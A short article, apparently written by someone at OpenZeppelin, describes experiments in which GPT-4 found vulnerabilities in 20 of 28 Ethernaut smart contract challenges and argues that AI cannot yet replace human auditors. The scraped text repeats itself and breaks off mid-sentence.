Experiments Show AI Could Help Audit Smart Contracts, But Not Yet
Artificial intelligence has proven effective in identifying security vulnerabilities, but early testing indicates it cannot replace humans before a certain time.
While artificial intelligence (AI) has already transformed a myriad of industries, from healthcare and automotive to marketing and finance, its potential is now being tested in one of the most crucial areas of the blockchain industry: smart contract security.< /p>
Numerous tests have shown great potential for AI-based blockchain audits, but this nascent technology still lacks some important qualities inherent in human professionals: intuition, nuanced judgment, and subject matter expertise.
My own organization, OpenZeppelin, recently conducted a series of experiments highlighting the value of AI in detecting vulnerabilities. This was done using OpenAI's latest GPT-4 model to identify security issues in Solidity smart contracts. The tested code is from the Ethernaut smart contract hacking web game, designed to help listeners learn how to find exploits. During experiments, GPT-4 successfully identified vulnerabilities in 20 out of 28 challenges.
Related: Blocking, Reddit: Closed APIs Cost More Than Expected
In some cases, simply providing the code and asking if the contract contained a vulnerability would produce accurate results, such as with the following naming issue with the constructor function:
ChatGPT analyzes a smart contract. Source: OpenZeppelinAt other times, the results were more mixed or downright poor. Sometimes the AI would need to be prompted to answer correctly by providing a somewhat leading question, such as "Can you change the library address in the previous contract?" At worst, GPT-4 would fail to find a vulnerability, even when things were stated clearly enough, as in "Gate one and Gat...
Artificial intelligence has proven effective in identifying security vulnerabilities, but early testing indicates it cannot replace humans before a certain time.
While artificial intelligence (AI) has already transformed a myriad of industries, from healthcare and automotive to marketing and finance, its potential is now being tested in one of the most crucial areas of the blockchain industry: smart contract security.< /p>
Numerous tests have shown great potential for AI-based blockchain audits, but this nascent technology still lacks some important qualities inherent in human professionals: intuition, nuanced judgment, and subject matter expertise.
My own organization, OpenZeppelin, recently conducted a series of experiments highlighting the value of AI in detecting vulnerabilities. This was done using OpenAI's latest GPT-4 model to identify security issues in Solidity smart contracts. The tested code is from the Ethernaut smart contract hacking web game, designed to help listeners learn how to find exploits. During experiments, GPT-4 successfully identified vulnerabilities in 20 out of 28 challenges.
Related: Blocking, Reddit: Closed APIs Cost More Than Expected
In some cases, simply providing the code and asking if the contract contained a vulnerability would produce accurate results, such as with the following naming issue with the constructor function:
ChatGPT analyzes a smart contract. Source: OpenZeppelinAt other times, the results were more mixed or downright poor. Sometimes the AI would need to be prompted to answer correctly by providing a somewhat leading question, such as "Can you change the library address in the previous contract?" At worst, GPT-4 would fail to find a vulnerability, even when things were stated clearly enough, as in "Gate one and Gat...
What's Your Reaction?
